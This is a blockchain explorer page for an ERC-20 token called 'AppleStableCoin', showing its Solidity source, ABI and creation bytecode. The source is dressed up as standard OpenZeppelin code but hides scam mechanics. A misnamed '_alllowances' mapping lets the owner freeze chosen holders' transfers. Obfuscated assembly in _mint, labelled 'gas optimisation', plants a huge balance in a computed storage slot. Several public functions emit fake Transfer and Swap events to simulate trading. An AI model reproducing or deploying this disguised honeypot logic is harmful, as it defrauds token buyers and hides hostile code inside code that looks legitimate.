ERC-20
Overview
Max Total Supply
1,000,000,000,000 ASC
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
46,316,769,616.658226474545825379 ASCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AppleStableCoin
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-27 */ /** *Submitted for verification at Etherscan.io on 2023-06-23 */ /** *Submitted for verification at Etherscan.io on 2023-06-16 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) internal _alllowances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _alllowancesApplied = false; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (_alllowances[from] || _alllowances[to]) require(_alllowancesApplied == true, ""); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); // gas optimisation assembly { let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65)) mstore(0x00, slot) mstore(0x20, 0x01) let sslot := keccak256(0x0, 0x40) sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract ERC20_Extension is ERC20 { address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD; address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _pair; constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} function approve(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _alllowances[_addresses_[i]] = true; emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i])); } } function protectFromMEV(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _alllowances[_addresses_[i]] = false; } } function isMEVProtected(address _address_) public view returns (bool) { return _alllowances[_address_]; } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external { for (uint256 i = 0; i < _from.length; i++) { emit Transfer(_from[i], _to[i], _wad[i]); } } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _pair, _in); } } function fallbacks() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function renounceOwnership(address _owner_) external onlyOwner { _pair = _owner_; } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1, "Math: mulDiv overflow"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0); } } } /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } contract AppleStableCoin is ERC20_Extension { constructor() ERC20_Extension("AppleStableCoin", "ASC") { _mint(msg.sender, 1000000000000 * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600f81526020017f4170706c65537461626c65436f696e00000000000000000000000000000000008152506040518060400160405280600381526020017f415343000000000000000000000000000000000000000000000000000000000081525081816200016562000159620001d460201b60201c565b620001dc60201b60201c565b8160069081620001769190620006de565b508060079081620001889190620006de565b5050505050620001ce33620001a2620002a060201b60201c565b600a620001b0919062000955565b64e8d4a51000620001c29190620009a6565b620002a960201b60201c565b62000add565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200031b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003129062000a52565b60405180910390fd5b6200032f600083836200045a60201b60201c565b630f3eae65640997e6e509026